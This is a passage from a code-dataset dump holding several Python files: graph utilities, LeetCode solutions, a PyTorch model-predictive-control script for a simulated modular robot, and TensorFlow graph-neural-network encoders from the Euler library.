def getNeighborsOfNode( self, node ):\r\n \r\n if node not in self.orderedVertexList:\r\n return []\r\n \r\n if self.numberOfVertices == 1: \r\n return []\r\n \r\n index = self.orderedVertexList.index( node )\r\n \r\n if index == 1: \r\n return [self.orderedVertexList[index+1]]\r\n \r\n if index == self.numberOfVertices-1:\r\n return [self.orderedVertexList[index-1]]\r\n \r\n return [self.orderedVertexList[index-1],\\\r\n self.orderedVertexList[index+1] ]\r\n \r\n \r\n # end function getNeighborsOfNode\r\n \r\n # Given this graph and an input graph, this function\r\n # computes the nodes that are common between the two\r\n def getIntersection( self, secondGraph ):\r\n \r\n intersection = [];\r\n \r\n # Find the common nodes\r\n for node in self.orderedVertexList:\r\n \r\n if node in secondGraph.orderedVertexList:\r\n intersection.append( node )\r\n \r\n # end for\r\n \r\n return intersection\r\n \r\n # end function getIntersection\r\n \r\n # Load a dummy graph so we have something to \r\n # start with\r\n def initializeADummyGraph( self, nodesOrder = [] ): \r\n \r\n if len( nodesOrder ) == 0:\r\n self.orderedVertexList =\\\r\n [1, 3, 4, 5, 7, 6, 10, 9, 8]\r\n \r\n else:\r\n self.orderedVertexList =\\\r\n nodesOrder\r\n # end if\r\n \r\n self.updateNumberOfVertices();\r\n \r\n # end function initializeADummyGraph\r\n \r\n # Determine how many nodes are there in the \r\n # graph\r\n def getNumberOfVertices( self ):\r\n \r\n return len( self.orderedVertexList )\r\n \r\n # end function getNumberOfVertices\r\n \r\n # Make sure the number of nodes is consistend \r\n # with the graph\r\n def updateNumberOfVertices( self ):\r\n \r\n self.numberOfVertices = self.getNumberOfVertices();\r\n \r\n # end function updateNumberOfVertices\r\n \r\n# end class Graph\r\n\r\nmygraph = Graph();\r\nlabelGraph = Graph();\r\nmygraph.initializeADummyGraph()\r\nlabelGraph.initializeADummyGraph( [1,2,3,4,5,6,7,8,9,10] )\r\nmy_loss = labelGraph.getLossFunction( mygraph ) \r\n","repo_name":"muralidharbg/ai_team1","sub_path":"graph.py","file_name":"graph.py","file_ext":"py","file_size_in_byte":9196,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"74354379981","text":"#\n#\n#\n\ndef wdbrk(s, wdict):\n n = len(s)\n F = [[] for _ in range(n+1)]\n F[0] = True\n for i in range(1, n+1):\n for w in wdict:\n if len(w) <= i and w == s[i-len(w):i]:\n if F[i-len(w)]:\n F[i].append(w)\n def backtrack(l, stack):\n if l == 0 and stack:\n yield ' '.join(reversed(stack))\n else:\n for w in F[l]:\n stack.append(w)\n yield from backtrack(l-len(w), stack)\n stack.pop()\n return list(backtrack(n, []))\n\nclass Solution:\n def wordBreak(self, s: str, wordDict: List[str]) -> List[str]:\n return wdbrk(s, wordDict)\n","repo_name":"davll/practical-algorithms","sub_path":"LeetCode/140-word_break_ii.py","file_name":"140-word_break_ii.py","file_ext":"py","file_size_in_byte":671,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"29142909786","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[1]:\n\n\n'''\nUse simulation as model to do mpc\n'''\nimport torch\nfrom robot_env import robot_env\nimport numpy as np\nimport os\nimport sys\nimport warnings\nfrom mpc import mpc\nfrom mpc.mpc import QuadCost\nfrom planning_utils import get_pos_control_inds, create_cost_mats2\nfrom planning_utils import fd_func_jac, fd_func_autodiff\nfrom utils import combine_state, to_tensors, divide_state\nfrom copy import copy\n\nif __name__ == '__main__':\n device = torch.device('cpu')\n urdf = 'llllll'\n show_GUI = True\n env = robot_env(show_GUI = show_GUI)\n env.reset_terrain()\n env.reset_robot(urdf_name=urdf, randomize_start=False)\n\n attachments = env.attachments\n modules_types = env.modules_types\n print('attachments: ' + str(attachments))\n print('modules_types: ' + str(modules_types))\n n_modules = len(modules_types)\n\n env_state_init = env.get_state()\n module_state_len = []\n for s in env_state_init:\n module_state_len.append(len(s))\n\n state_len= np.sum(module_state_len)\n action_len = env.num_joints\n module_action_len = list(np.diff(env.action_indexes))\n module_sa_len = module_state_len+ module_action_len\n\n\n num_processes = 2\n pool = torch.multiprocessing.Pool(processes=num_processes)\n envs_fd = []\n for i in range(sum(module_sa_len)):\n env_fd = robot_env(show_GUI = False)\n env_fd.reset_terrain()\n env_fd.reset_robot(urdf_name=urdf, randomize_start=False)\n envs_fd.append(env_fd)\n\n\n def div_state(x_in, module_state_len):\n x_out = []\n ind = 0\n for i in range(len(module_state_len)):\n l = module_state_len[i]\n x_out.append(x_in[ind:ind+l])\n ind+=l\n return x_out\n\n class fd_func_sim_jac(torch.nn.Module):\n # pass as input and output state and action without outer wrapping\n def __init__(self, env_fdjac):\n super(fd_func_sim_jac, self).__init__()\n self.finite_diff_delta = 1e-3\n self.env_jac = env_fdjac\n\n def forward(self, state, action):\n\n batch_size = state.shape[0]\n n_state = state.shape[1]\n state_next = torch.zeros((batch_size, n_state))\n for ib in range(batch_size):\n state0 = state[ib,:].detach().numpy()\n action0 = action[ib,:].detach().numpy()\n state_div = div_state(state0, self.env_jac.module_state_len)\n self.env_jac.set_state(state_div)\n self.env_jac.step(action0)\n state_next[ib,:] = combine_state(to_tensors(self.env_jac.get_state()))\n \n # print(state_next.shape)\n return state_next\n\n def forward_env(self, state, action, env_now):\n\n batch_size = state.shape[0]\n n_state = state.shape[1]\n state_next = torch.zeros((batch_size, n_state))\n for ib in range(batch_size):\n state0 = state[ib,:].detach().numpy()\n action0 = action[ib,:].detach().numpy()\n state_div = div_state(state0, env_now.module_state_len)\n env_now.set_state(state_div)\n env_now.step(action0)\n state_next[ib,:] = combine_state(to_tensors(env_now.get_state()))\n \n # print(state_next.shape)\n return state_next\n\n\n def grad_input(self, state, action):\n delta = self.finite_diff_delta\n\n # print('grad_input')\n # print(str(state.shape),str(action.shape))\n batch_size = state.shape[0]\n\n n_state = state.shape[-1]\n n_ctrl = action.shape[-1]\n dfds = torch.zeros((batch_size,n_state,n_state), dtype=torch.float32)\n dfda = torch.zeros((batch_size,n_state,n_ctrl), dtype=torch.float32)\n for ib in range(batch_size):\n\n state_now = state[ib,:].detach().numpy()\n action_now = action[ib,:].detach().numpy()\n self.env_jac.set_state(\n div_state(state_now, self.env_jac.module_state_len))\n self.env_jac.step(action_now)\n state_next = combine_state(to_tensors(self.env_jac.get_state()))\n\n pool_inputs = []\n\n for i in range(n_state):\n state_perturbed = copy(state_now)\n state_perturbed[i] += delta\n # self.env_jac.set_state(\n # div_state(state_perturbed, self.env_jac.module_state_len))\n # self.env_jac.step(action_now)\n pool_inputs.append([state_perturbed,action_now, envs_fd[i]])\n\n\n # state_perturbed = copy(state_now)\n # state_perturbed[i] -= delta\n # self.env_jac.set_state(\n # div_state(state_perturbed, self.env_jac.module_state_len))\n # self.env_jac.step(action_now)\n # state_next_perturbed2 = combine_state(to_tensors(self.env_jac.get_state()))\n # dfds[ib,:,i] = (state_next_perturbed -\n # state_next_perturbed2)/(2*delta)\n\n for i in range(n_ctrl):\n action_perturbed = copy(action_now)\n action_perturbed[i] += delta\n # self.env_jac.set_state(\n # div_state(state_now, self.env_jac.module_state_len))\n # self.env_jac.step(action_perturbed)\n pool_inputs.append([state_now,\n action_perturbed, envs_fd[n_state+i]])\n\n # action_perturbed = copy(action_now)\n # action_perturbed[i] -= delta\n # self.env_jac.set_state(\n # div_state(state_now, self.env_jac.module_state_len))\n # self.env_jac.step(action_perturbed)\n # state_next_perturbed2 =combine_state(to_tensors(self.env_jac.get_state()))\n # dfda[ib,:,i] = (state_next_perturbed -\n # state_next_perturbed2)/(2*delta)\n\n pool_out = pool.starmap(self.forward_env, pool_inputs)\n print('joining pool')\n pool.join()\n print('after join pool')\n for i in range(n_state):\n state_next_perturbed = pool_out[i]\n dfds[ib,:,i] = (state_next_perturbed - state_next)/delta\n for i in range(n_ctrl):\n state_next_perturbed = pool_out[n_state+i]\n dfda[ib,:,i] = (state_next_perturbed - state_next)/delta\n\n\n return dfds, dfda\n \n env_jac = robot_env(show_GUI = False)\n env_jac.reset_terrain()\n env_jac.reset_robot(urdf_name=urdf, randomize_start=False)\n\n\n # In[3]:\n\n\n import time\n res_times = []\n\n\n\n # mpc-style control parameters\n n_envs = 1\n batch_size, n_state, n_ctrl = n_envs, state_len, action_len\n T = 20 # T is the planning horizon\n\n n_replans = 4\n n_execute = 10 # number of steps to execute after each replan\n total_steps = n_replans*n_execute\n slew_rate_penalty = 40 \n\n leg_pos_inds, leg_control_inds, wheel_steer_inds, wheel_control1_inds, wheel_control2_inds = get_pos_control_inds(\n modules_types, module_state_len, module_action_len)\n\n env_state_init = combine_state(to_tensors(env_state_init)).to(device)\n\n # The upper and lower control bounds. All ones since environment rescales them.\n u_lower = -torch.ones(T, batch_size, n_ctrl, device=device)\n u_upper = torch.ones(T, batch_size, n_ctrl, device=device)\n\n\n gradient_method = mpc.GradMethods.ANALYTIC # actually does finite diff, we rewrote it for finer control\n\n\n dt = env.dt\n speed_scale_yaw = (T*dt)*np.pi/2\n speed_scale_xy = (T*dt)\n\n # create the test direction goals.\n # these will be popped and used as the goal directions\n # on the first few planning runs.\n test_goals = [[speed_scale_xy*0.75,0,0],\n [0,speed_scale_xy*0.75,0],\n [0,0,speed_scale_yaw*0.75],\n [-speed_scale_xy*0.75,0,0],\n [0,-speed_scale_xy*0.75,0],\n [0,0,-speed_scale_yaw*0.75]]\n n_runs = 1\n\n # states_memory = []\n # actions_memory = []\n # torques_memory = []\n # run_lens = []\n # goal_memory = []\n # step_memory = [] # keep track of the time step, so that the tripod can be regulated\n envs = [env]\n for i_traj in range(n_runs):\n\n u_init = torch.zeros(T, batch_size, n_ctrl, device=device)\n\n t_list = [ [] for i in range(n_envs) ]\n state_list = [ [] for i in range(n_envs) ]\n # state_list_tensors =[ [] for i in range(n_envs) ]\n goal_tensors =[ [] for i in range(n_envs) ]\n action_list = [ [] for i in range(n_envs) ]\n torques_list = [ [] for i in range(n_envs) ]\n last_u = None\n\n\n delta_xyyaw_des = np.array(test_goals)\n\n sampled_steps = np.zeros(n_envs)\n \n for i in range(len(envs)):\n\n # set the robot to default zero pose\n envs[i].reset_robot(urdf_name = urdf, randomize_start=False,\n start_yaw = 0)\n\n env_state = envs[i].get_state()\n env_state_combined = combine_state(to_tensors(env_state))\n state_list[i].append(env_state)\n # state_list_tensors[i].append(env_state_combined)\n\n # get initial torques \n tau = envs[i].joint_torques / envs[i].moving_joint_max_torques\n tau_div = envs[i].divide_action_to_modules(tau)\n torques_list[i].append(tau_div)\n\n goal_tensors[i].append(torch.tensor(delta_xyyaw_des[i,:], dtype=torch.float32))\n \n\n # track whether each sim env robot has flipped over, and stop tracking it if so\n robot_alive = [True]*n_envs\n\n # print('Replan ', end = '')\n for replan in range(n_replans):\n start_time = time.time()\n\n if replan ==0:\n # lqr_iter = 10 # need larger for initial soln\n lqr_iter = 15 # ?\n else:\n # lqr_iter = 5 # too high makes lqr take too long\n lqr_iter = 8 # ?\n\n # print( str(replan), end = ',')\n\n x_init = []\n for i in range(n_envs):\n env_state_i = to_tensors(envs[i].get_state())\n x_init.append( combine_state(env_state_i))\n x_init = torch.cat(x_init,0).to(device)\n\n\n start_steps = np.array([replan*n_execute]*batch_size) + sampled_steps\n C, c =create_cost_mats2(start_steps, device, T, batch_size, env,\n env_state_init, n_state, n_ctrl,\n leg_pos_inds, leg_control_inds,\n wheel_steer_inds, wheel_control1_inds, wheel_control2_inds,\n last_u = last_u, slew_rate_penalty = slew_rate_penalty,\n xyyaw_start = x_init[:,[0,1,5]].detach().cpu(), \n delta_xyyaw_des = delta_xyyaw_des )\n\n with torch.no_grad():\n print('starting mpc')\n x_lqr, u_lqr, objs_lqr = mpc.MPC(\n n_state=n_state,\n n_ctrl=n_ctrl,\n T=T,\n u_lower=u_lower, \n u_upper=u_upper,\n u_init = u_init,\n lqr_iter=lqr_iter,\n grad_method=gradient_method,\n verbose=1,\n backprop=False,\n exit_unconverged=False,\n slew_rate_penalty=slew_rate_penalty\n )(x_init, QuadCost(C, c), \n fd_func_sim_jac(env_jac)\n )\n \n end_time = time.time()\n time_delta = end_time-start_time\n print(time_delta)\n res_times.append(time_delta)\n\n\n # check for nans\n if torch.isnan(u_lqr).any():\n print('NaN detected')\n break\n\n\n for i in range(n_envs): \n for t in range(n_execute):\n if robot_alive[i]:\n xyz_before = envs[i].pos_xyz \n u = u_lqr[t,i,:]\n u_np = u.detach().cpu().numpy()\n envs[i].step(u_np)\n env_state = envs[i].get_state()\n state_list[i].append(env_state)\n goal_tensors[i].append(torch.tensor(delta_xyyaw_des[i,:], dtype=torch.float32))\n u_div = envs[i].divide_action_to_modules(u_np)\n action_list[i].append(u_div)\n # scale by max torque\n tau = envs[i].joint_torques / envs[i].moving_joint_max_torques\n tau_div = envs[i].divide_action_to_modules(tau)\n torques_list[i].append(tau_div)\n xyz_after = envs[i].pos_xyz \n rpy_after = envs[i].pos_rpy \n if envs[0].show_GUI:\n # draw line for where robot has gone\n if i==0:\n line_color = [0,0,0]\n else:\n line_color = [1,0,0]\n envs[0].draw_line( [xyz_before[0],xyz_before[1],0.01],\n [xyz_after[0], xyz_after[1],0.01],\n color=line_color)\n # draw line for its desired heading\n vxy_scale = 2\n vyaw_scale = 1.5\n desired_xyyaw = delta_xyyaw_des[0,:]\n vect1 = np.array([desired_xyyaw[0],\n desired_xyyaw[1],\n 0] )\n vect2 = np.array([np.cos(desired_xyyaw[2]),\n np.sin(desired_xyyaw[2]), \n 0])*np.abs(desired_xyyaw[2])\n envs[0].draw_body_arrows([vect1*0.5/vxy_scale, \n 0.5*vect2/vyaw_scale],\n [[0,0,0], [0,0,1]])\n\n # stop stepping this robot if it flipped over \n if np.dot([0,0,1], envs[i].z_axis)<0:\n robot_alive[i] = False\n\n last_u = u_lqr[t] # set for use in next slew rate cost\n\n\n # scroll through long term initialization \n ind = replan*n_execute\n u_init[T-n_execute:,:,:] = 0 \n\n # use the remainder of the control inputs to warm start the next replan\n u_init[:(T-n_execute),:,:] = u_lqr[n_execute:,:,:].detach()\n\n pool.close()\n\n # In[4]:\n\n\n print(len(state_list))\n print(len(state_list[0]))\n print(len(state_list[0][0]))\n chassis_states = [s[0] for s in state_list[0]]\n print(len(chassis_states))\n chassis_states = np.vstack(chassis_states)\n print('End state', chassis_states[-1,0])\n print('Total time', np.sum(res_times))\n\n # results:\n # End state 0.8818973398891625\n # Total time 1284.1354298591614\n\n\n # In[ ]:\n\n\n\n\n","repo_name":"biorobotics/learning_modular_policies","sub_path":"mlp_policy/old/mpc_sim_parallel.py","file_name":"mpc_sim_parallel.py","file_ext":"py","file_size_in_byte":15965,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"71834451664","text":"class Solution:\n def firstMissingPositive(self, nums: List[int]) -> int:\n # num=set(nums)\n # for i in range(1,5*10**5):\n # if i not in num:\n # return i\n nums.sort()\n num = 1\n for i in range(len(nums)):\n if num == nums[i]:\n num += 1\n print(num)\n return num\n\n","repo_name":"hawt24/A2SV","sub_path":"0041-first-missing-positive/0041-first-missing-positive.py","file_name":"0041-first-missing-positive.py","file_ext":"py","file_size_in_byte":369,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"27816298474","text":"from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport numpy as np\nimport tensorflow as tf\nfrom operator import mul\nfrom functools import reduce\n\nfrom tf_euler.python.utils import aggregators\nfrom tf_euler.python import euler_ops\nfrom tf_euler.python.utils import layers\nfrom tf_euler.python.utils import sparse_aggregators\nfrom tf_euler.python.utils import embedding as utils_embedding\n\n\nclass ShallowEncoder(layers.Layer):\n \"\"\"\n Basic encoder combining embedding of node id and dense feature.\n \"\"\"\n\n def __init__(self, dim=None, feature_idx='f1', feature_dim=0, max_id=-1,\n sparse_feature_idx=-1, sparse_feature_max_id=-1,\n embedding_dim=16, use_hash_embedding=False, combiner='concat',\n **kwargs):\n super(ShallowEncoder, self).__init__(**kwargs)\n\n if combiner not in ['add', 'concat']:\n raise ValueError('combiner must be \\'add\\' or \\'concat\\'.')\n if combiner == 'add' and dim is None:\n raise ValueError('add must be used with dim provided.')\n\n use_feature = feature_idx != -1\n use_id = max_id != -1\n use_sparse_feature = sparse_feature_idx != -1\n\n if not isinstance(feature_idx, list) and use_feature:\n feature_idx = [feature_idx]\n if isinstance(feature_dim, int) and use_feature:\n feature_dim = [feature_dim]\n if use_feature and len(feature_idx) != len(feature_dim):\n raise ValueError('feature_dim must be the same length as feature'\n '_idx.idx:%s, dim:%s' % (str(feature_idx),\n str(feature_dim)))\n\n if isinstance(sparse_feature_idx, int) and use_sparse_feature:\n sparse_feature_idx = [sparse_feature_idx]\n if isinstance(sparse_feature_max_id, int) and use_sparse_feature:\n sparse_feature_max_id = [sparse_feature_max_id]\n if use_sparse_feature and \\\n len(sparse_feature_idx) != len(sparse_feature_max_id):\n\n raise ValueError('sparse_feature_idx must be the same length as'\n 'sparse_feature_max_id.')\n\n embedding_num = (1 if use_id else 0) + \\\n (len(sparse_feature_idx) if use_sparse_feature else 0)\n\n if combiner == 'add':\n embedding_dim = dim\n if isinstance(embedding_dim, int) and embedding_num:\n embedding_dim = [embedding_dim] * embedding_num\n if embedding_num and len(embedding_dim) != embedding_num:\n raise ValueError('length of embedding_num must be int(use_id) + '\n 'len(sparse_feature_idx)')\n\n if isinstance(use_hash_embedding, bool) and embedding_num:\n use_hash_embedding = [use_hash_embedding] * embedding_num\n if embedding_num and len(use_hash_embedding) != embedding_num:\n raise ValueError('length of use_hash_embedding must be int(use_id)'\n ' + len(sparse_feature_idx)')\n\n # model architechture\n self.dim = dim\n self.use_id = use_id\n self.use_feature = use_feature\n self.use_sparse_feature = use_sparse_feature\n self.combiner = combiner\n\n # feature fetching parameters\n self.feature_idx = feature_idx\n self.feature_dim = feature_dim\n self.sparse_feature_idx = sparse_feature_idx\n self.sparse_feature_max_id = sparse_feature_max_id\n self.embedding_dim = embedding_dim\n\n # sub-layers\n if dim:\n self.dense = layers.Dense(self.dim, use_bias=False)\n\n if use_id:\n embedding_class = \\\n layers.HashEmbedding if use_hash_embedding[0] \\\n else layers.Embedding\n self.embedding = embedding_class(max_id + 1, embedding_dim[0])\n embedding_dim = embedding_dim[1:]\n use_hash_embedding = use_hash_embedding[1:]\n if use_sparse_feature:\n self.sparse_embeddings = []\n for max_id, dim, use_hash in zip(\n sparse_feature_max_id, embedding_dim, use_hash_embedding):\n sparse_embedding_class = \\\n layers.HashSparseEmbedding if use_hash \\\n else layers.SparseEmbedding\n self.sparse_embeddings.append(\n sparse_embedding_class(max_id + 1, dim))\n\n @property\n def output_dim(self):\n if self.dim is not None:\n return self.dim\n\n output_dim = 0\n if self.use_feature:\n output_dim += sum(self.feature_dim)\n if self.use_id or self.use_sparse_feature:\n output_dim += sum(self.embedding_dim)\n return output_dim\n\n def call(self, inputs):\n input_shape = inputs.shape\n inputs = tf.reshape(inputs, [-1])\n embeddings = []\n\n if self.use_id:\n embeddings.append(self.embedding(inputs))\n\n if self.use_feature:\n features = euler_ops.get_dense_feature(\n inputs, self.feature_idx, self.feature_dim)\n features = tf.concat(features, -1)\n if self.combiner == 'add':\n features = self.dense(features)\n embeddings.append(features)\n\n if self.use_sparse_feature:\n default_values = [max_id + 1\n for max_id in self.sparse_feature_max_id]\n sparse_features = euler_ops.get_sparse_feature(\n inputs, self.sparse_feature_idx, default_values=default_values)\n embeddings.extend([\n sparse_embedding(sparse_feature)\n for sparse_embedding, sparse_feature\n in zip(self.sparse_embeddings, sparse_features)\n ])\n\n if self.combiner == 'add':\n embedding = tf.add_n(embeddings)\n else:\n embedding = tf.concat(embeddings, -1)\n if self.dim:\n embedding = self.dense(embedding)\n output_shape = input_shape.concatenate(self.output_dim)\n output_shape = [d if d is not None else -1\n for d in output_shape.as_list()]\n return tf.reshape(embedding, output_shape)\n\n\nclass GCNEncoder(layers.Layer):\n \"\"\"\n GCN node encoder aggregating multi-hop neighbor information.\n \"\"\"\n\n def __init__(self, metapath, dim, aggregator='mean',\n feature_idx=-1, feature_dim=0, max_id=-1, use_id=False,\n sparse_feature_idx=-1, sparse_feature_max_id=-1,\n embedding_dim=16, use_hash_embedding=False,\n use_residual=False, head_num=4,\n **kwargs):\n super(GCNEncoder, self).__init__(**kwargs)\n self.metapath = metapath\n self.num_layers = len(metapath)\n if isinstance(head_num, int):\n self.head_num = [head_num] * self.num_layers\n elif isinstance(head_num, list):\n assert len(head_num) == self.num_layers\n self.head_num = head_num\n else:\n raise ValueError('head_num error: expect int or'\n ' list, got {}'.format(str(head_num)))\n\n self.use_residual = use_residual\n self._node_encoder = ShallowEncoder(\n dim=dim if use_residual else None,\n feature_idx=feature_idx, feature_dim=feature_dim,\n max_id=max_id if use_id else -1,\n sparse_feature_idx=sparse_feature_idx,\n sparse_feature_max_id=sparse_feature_max_id,\n embedding_dim=embedding_dim, use_hash_embedding=use_hash_embedding,\n combiner='add' if use_residual else 'concat')\n\n self.aggregators = []\n aggregator_class = sparse_aggregators.get(aggregator)\n for layer in range(self.num_layers):\n activation = tf.nn.relu if layer < self.num_layers - 1 else None\n self.aggregators.append(aggregator_class(\n dim, activation=activation, head_num=self.head_num[layer]))\n\n def node_encoder(self, inputs):\n return self._node_encoder(inputs)\n\n def call(self, inputs):\n nodes, adjs = euler_ops.get_multi_hop_neighbor(inputs, self.metapath)\n hidden = [self.node_encoder(node) for node in nodes]\n for layer in range(self.num_layers):\n aggregator = self.aggregators[layer]\n next_hidden = []\n for hop in range(self.num_layers - layer):\n if self.use_residual:\n h = hidden[hop] + \\\n aggregator((hidden[hop], hidden[hop + 1], adjs[hop]))\n else:\n h = aggregator((hidden[hop], hidden[hop + 1], adjs[hop]))\n next_hidden.append(h)\n hidden = next_hidden\n\n output_shape = inputs.shape.concatenate(hidden[0].shape[-1])\n output_shape = [d if d is not None else -1\n for d in output_shape.as_list()]\n return tf.reshape(hidden[0], output_shape)\n\n\nclass GenieEncoder(GCNEncoder):\n def __init__(self, metapath, dim, aggregator='attention',\n feature_idx=-1, feature_dim=0, max_id=-1, use_id=False,\n sparse_feature_idx=-1, sparse_feature_max_id=-1,\n embedding_dim=16, use_hash_embedding=False,\n use_residual=False, head_num=4,\n **kwargs):\n super(GenieEncoder, self).__init__(metapath, dim,\n aggregator,\n feature_idx,\n feature_dim,\n max_id,\n use_id,\n sparse_feature_idx,\n sparse_feature_max_id,\n embedding_dim,\n use_hash_embedding,\n use_residual,\n head_num, **kwargs)\n self.dim = dim\n self.depth_fc = []\n for layer in range(self.num_layers + 1):\n self.depth_fc.append(layers.Dense(dim))\n\n def call(self, inputs):\n nodes, adjs = euler_ops.get_multi_hop_neighbor(inputs, self.metapath)\n hidden = [self.node_encoder(node) for node in nodes]\n h_t = [self.depth_fc[0](hidden[0])]\n for layer in range(self.num_layers):\n aggregator = self.aggregators[layer]\n next_hidden = []\n for hop in range(self.num_layers - layer):\n if self.use_residual:\n h = hidden[hop] + \\\n aggregator((hidden[hop], hidden[hop + 1], adjs[hop]))\n else:\n h = aggregator((hidden[hop], hidden[hop + 1], adjs[hop]))\n next_hidden.append(h)\n hidden = next_hidden\n h_t.append(self.depth_fc[layer+1](hidden[0]))\n\n lstm_cell = tf.nn.rnn_cell.LSTMCell(self.dim)\n initial_state = \\\n lstm_cell.zero_state(tf.shape(inputs)[0], dtype=tf.float32)\n h_t = tf.concat([tf.reshape(i, [tf.shape(i)[0], 1, self.dim])\n for i in h_t], 1)\n outputs, _ = tf.nn.dynamic_rnn(lstm_cell, h_t,\n initial_state=initial_state,\n dtype=tf.float32)\n outputs = tf.reshape(outputs[:, 0, :], [-1, outputs.shape[2]])\n output_shape = inputs.shape.concatenate(outputs.shape[-1])\n output_shape = [d if d is not None else -1\n for d in output_shape.as_list()]\n return tf.reshape(outputs, output_shape)\n\n\nclass ScalableGCNEncoder(GCNEncoder):\n def __init__(self, edge_type, num_layers, dim, aggregator='mean',\n feature_idx=-1, feature_dim=0, max_id=-1, use_id=False,\n sparse_feature_idx=-1, sparse_feature_max_id=-1,\n embedding_dim=16, use_hash_embedding=False,\n use_residual=False,\n store_learning_rate=0.001, store_init_maxval=0.05, **kwargs):\n metapath = [edge_type] * num_layers\n super(ScalableGCNEncoder, self).__init__(\n metapath, dim, aggregator,\n feature_idx, feature_dim, max_id, use_id,\n sparse_feature_idx, sparse_feature_max_id,\n embedding_dim, use_hash_embedding, use_residual, **kwargs)\n self.dim = dim\n self.edge_type = edge_type\n self.max_id = max_id\n self.store_learning_rate = store_learning_rate\n self.store_init_maxval = store_init_maxval\n\n def build(self, input_shape):\n self.stores = [\n tf.get_variable('store_layer_{}'.format(i),\n [self.max_id + 2, self.dim],\n initializer=tf.random_uniform_initializer(\n maxval=self.store_init_maxval, seed=1),\n trainable=False,\n collections=[tf.GraphKeys.LOCAL_VARIABLES])\n for i in range(1, self.num_layers)]\n self.gradient_stores = [\n tf.get_variable('gradient_store_layer_{}'.format(i),\n [self.max_id + 2, self.dim],\n initializer=tf.zeros_initializer(),\n trainable=False,\n collections=[tf.GraphKeys.LOCAL_VARIABLES])\n for i in range(1, self.num_layers)]\n self.store_optimizer = tf.train.AdamOptimizer(self.store_learning_rate)\n\n def call(self, inputs, training=None):\n if not training:\n return super(ScalableGCNEncoder, self).call(inputs)\n\n (node, neighbor), (adj,) = \\\n euler_ops.get_multi_hop_neighbor(inputs, [self.edge_type])\n node_embedding = self.node_encoder(node)\n neigh_embedding = self.node_encoder(neighbor)\n\n node_embeddings = []\n neigh_embeddings = []\n for layer in range(self.num_layers):\n aggregator = self.aggregators[layer]\n\n if self.use_residual:\n node_embedding += aggregator((node_embedding,\n neigh_embedding,\n adj))\n else:\n node_embedding = aggregator((node_embedding,\n neigh_embedding,\n adj))\n node_embeddings.append(node_embedding)\n\n if layer < self.num_layers - 1:\n neigh_embedding = \\\n tf.nn.embedding_lookup(self.stores[layer], neighbor)\n neigh_embeddings.append(neigh_embedding)\n\n self.update_store_op = self._update_store(node, node_embeddings)\n store_loss, self.optimize_store_op = \\\n self._optimize_store(node, node_embeddings)\n self.get_update_gradient_op = lambda loss: \\\n self._update_gradient(loss + store_loss,\n neighbor,\n neigh_embeddings)\n\n output_shape = inputs.shape.concatenate(node_embedding.shape[-1])\n output_shape = [d if d is not None else -1\n for d in output_shape.as_list()]\n return tf.reshape(node_embedding, output_shape)\n\n def _update_store(self, node, node_embeddings):\n update_ops = []\n for store, node_embedding in zip(self.stores, node_embeddings):\n update_ops.append(\n utils_embedding.embedding_update(store, node, node_embedding))\n return tf.group(*update_ops)\n\n def _update_gradient(self, loss, neighbor, neigh_embeddings):\n update_ops = []\n for gradient_store, neigh_embedding in zip(\n self.gradient_stores, neigh_embeddings):\n embedding_gradient = tf.gradients(loss, neigh_embedding)[0]\n update_ops.append(\n utils_embedding.embedding_add(gradient_store,\n neighbor, embedding_gradient))\n return tf.group(*update_ops)\n\n def _optimize_store(self, node, node_embeddings):\n if not self.gradient_stores:\n return tf.zeros([]), tf.no_op()\n\n losses = []\n clear_ops = []\n for gradient_store, node_embedding in zip(\n self.gradient_stores, node_embeddings):\n embedding_gradient = tf.nn.embedding_lookup(gradient_store, node)\n with tf.control_dependencies([embedding_gradient]):\n clear_ops.append(\n utils_embedding.embedding_update(\n gradient_store, node,\n tf.zeros_like(embedding_gradient)))\n losses.append(tf.reduce_sum(node_embedding * embedding_gradient))\n\n store_loss = tf.add_n(losses)\n with tf.control_dependencies(clear_ops):\n return store_loss, self.store_optimizer.minimize(store_loss)\n\n\nclass SageEncoder(layers.Layer):\n \"\"\"\n GraphSage style node encoder sampling multi-hop neighbors and\n performing graph convolution (https://arxiv.org/abs/1706.02216).\n \"\"\"\n\n @staticmethod\n def create_aggregators(dim, num_layers, aggregator, **kwargs):\n new_aggregators = []\n aggregator_class = aggregators.get(aggregator)\n for layer in range(num_layers):\n activation = tf.nn.relu if layer < num_layers - 1 else None\n new_aggregators.append(\n aggregator_class(dim, activation=activation, **kwargs))\n return new_aggregators\n\n def __init__(self, metapath, fanouts, dim,\n aggregator='mean', concat=False, shared_aggregators=None,\n feature_idx=-1, feature_dim=0, max_id=-1,\n use_feature=None, use_id=None,\n sparse_feature_idx=-1, sparse_feature_max_id=-1,\n embedding_dim=16, use_hash_embedding=False,\n use_residual=False, shared_node_encoder=None, **kwargs):\n super(SageEncoder, self).__init__(**kwargs)\n if len(metapath) != len(fanouts):\n raise ValueError('Len of metapath must be the same as fanouts.')\n if use_feature is not None or use_id is not None:\n tf.logging.warning('use_feature is deprecated '\n 'and would not have any effect.')\n\n self.metapath = metapath\n self.fanouts = fanouts\n self.num_layers = len(metapath)\n self.concat = concat\n self.feature_dim = feature_dim\n self.sparse_feature_idx = sparse_feature_idx\n self.sparse_feature_max_id = sparse_feature_max_id\n self.use_hash_embedding = use_hash_embedding\n self.embedding_dim = embedding_dim\n\n if shared_node_encoder:\n self._node_encoder = shared_node_encoder\n else:\n self._node_encoder = ShallowEncoder(\n feature_idx=feature_idx, feature_dim=feature_dim,\n max_id=max_id if use_id else -1,\n sparse_feature_idx=sparse_feature_idx,\n sparse_feature_max_id=sparse_feature_max_id,\n embedding_dim=embedding_dim,\n use_hash_embedding=use_hash_embedding)\n\n layer0_dim = self._node_encoder.output_dim\n self.dims = [layer0_dim] + [dim] * self.num_layers\n\n if shared_aggregators is not None:\n self.aggregators = shared_aggregators\n else:\n self.aggregators = self.create_aggregators(\n dim, self.num_layers, aggregator, concat=concat)\n self._max_id = max_id\n\n def node_encoder(self, inputs):\n return self._node_encoder(inputs)\n\n def call(self, inputs):\n samples = 